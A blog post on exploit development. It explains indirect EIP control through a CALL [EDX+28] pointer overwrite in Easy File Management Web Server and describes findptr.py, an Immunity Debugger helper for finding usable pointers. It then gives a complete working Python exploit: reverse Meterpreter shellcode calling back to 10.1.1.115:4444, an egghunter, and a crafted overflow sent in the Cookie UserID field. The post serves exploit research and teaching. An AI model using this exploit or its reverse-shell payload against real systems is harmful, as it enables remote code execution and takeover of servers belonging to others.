martes, 19 de agosto de 2014

Indirect EIP control code execution - findptr.py

In the process of fuzzing for vulnerabilities it is often found that user-controlled data can overwrite a register which is later used by the process as a pointer to a function being called, written or read. This would in turn give the opportunity of redirect the execution to a desired region of memory with our data, hopefully gaining control of the process' execution.

One such example is the Easy File Management Web Server buffer overflow (http://www.exploit-db.com/exploits/33790/) in which the buffer sent in the cookie's UserID field can be used to overwrite some portions of memory in the stack. Though the HTTP message won't be processed if it exceeds a maximum length, effectively constraining the exploitation to a limited extent, making the usual EIP or SEH overwrite unsuccessful. Efectively, the server will crash executing the following instruction:

 

This means that the execution flow is redirected to whatever is pointed to by EDX+28 in the data segment, instructing the processor to use the memory address resulted from such sum as a function pointer. That is, it'll read the dword on that memory address and use it as the address where the called function is supposed to be, placing it into EIP.

The four bytes overwriting EDX are placed at offset 80 from the start of the UserID parameter. At the moment of the crash these bytes will be used as described before and EDI will point at offset 76, exactly four bytes before EDX.

This 'pointer-to-pointer' situation means that in order to jump to the four bytes available for our first stage payload we will need to go through a series of steps involving the dynamic search of two memory pointers in a bruteforce fashion, so we know what should we overwrite EDX with:

1. Find memory locations with the instructions you want executed. Ex: JMP EDI. Suppose that you found a JMP EDI instruction in memory address 0x01020304. This is the address where we want the execution flow to be redirected.

2. Use this memory location as assembly opcodes. The address 0x01020304 will be read as data from another pointer so we'll need to reverse this to \x04\x03\x02\x01.

3. Search for a series of opcodes that match that memory location. Find places in memory where you can find the opcodes generated by \x04\x03\x02\x01. We'll choose 0x05060708.

4. Overwrite EDX with the proper address. Calculate the offset from which 0x05060708 will be called (CALL DWORD PRT DS:[EDX+28]), meaning EDX should be overwritten by 0x05060708-28.

Not mentioning about extending this technique to gadget generation in ROP chains, this process must be automatized if you don't want to spend the rest of your life searching manually all user-land space. Of course we need a fixed address to JMP EDI or any opcodes so this won't work as-is when dealing with ASLR, except when it's the case of memory leaks, etc. 

findptr.py is a simple Immunity Debugger command that will do this search, helping to write the Easy File Management Web Server in a couple of minutes :) Its parameters are the instructions you want to point to separated by a slash, plus the offset to the actual called address. In this particular example it would be used like this:


By overwriting EDX with any of the memory addresses shown in the table the payload will manage to get executed.

Exploit code is as follows:
 #!/usr/bin/python

import socket

# reverse meterpreter 10.1.1.115 4444 - alpha_mixed
buf =  ""
buf += "\xda\xd2\xd9\x74\x24\xf4\x58\x50\x59\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37"
buf += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
[ ... snip ... ]
buf += "\x79\x69\x58\x53\x6f\x49\x6f\x5a\x75\x6e\x6b\x65\x66"
buf += "\x70\x6a\x67\x30\x62\x48\x57\x70\x46\x70\x53\x30\x43"
buf += "\x30\x32\x76\x32\x4a\x63\x30\x53\x58\x73\x68\x4c\x64"
buf += "\x62\x73\x5a\x45\x39\x6f\x4b\x65\x6f\x63\x72\x73\x31"
buf += "\x7a\x33\x30\x50\x56\x31\x43\x46\x37\x52\x48\x36\x62"
buf += "\x58\x59\x4f\x38\x51\x4f\x49\x6f\x39\x45\x77\x71\x6b"
buf += "\x73\x46\x49\x39\x56\x6b\x35\x59\x66\x72\x55\x78\x6c"
buf += "\x6a\x63\x41\x41"


# JMP ESI - 0x7814a342 (-28) - URLMON.dll
hunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
pload = "A"*32 + hunter
pload += "\x90\xeb\xd8\x90" + "A"*12 + "\x1a\xa3\x14\x78"
pload += "C"*(3200-len(pload))

pkt = "GET /vfolder.ghp HTTP/1.1\r\n"
pkt += "Host: 10.1.1.111\r\n"
pkt += "User-Agent: positron\r\n"
pkt += "Cookie: SESSIONID=; UserID=" + pload + "; PassWD=;\r\n"
pkt += "Connection: close\r\n\r\n"
pkt += "w00tw00t" + buf
pkt += "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.1.1.111', 80))
s.send(pkt)
s.close()

findptr can be found on https://github.com/salcho/codetz
Cheers.

No hay comentarios:

Publicar un comentario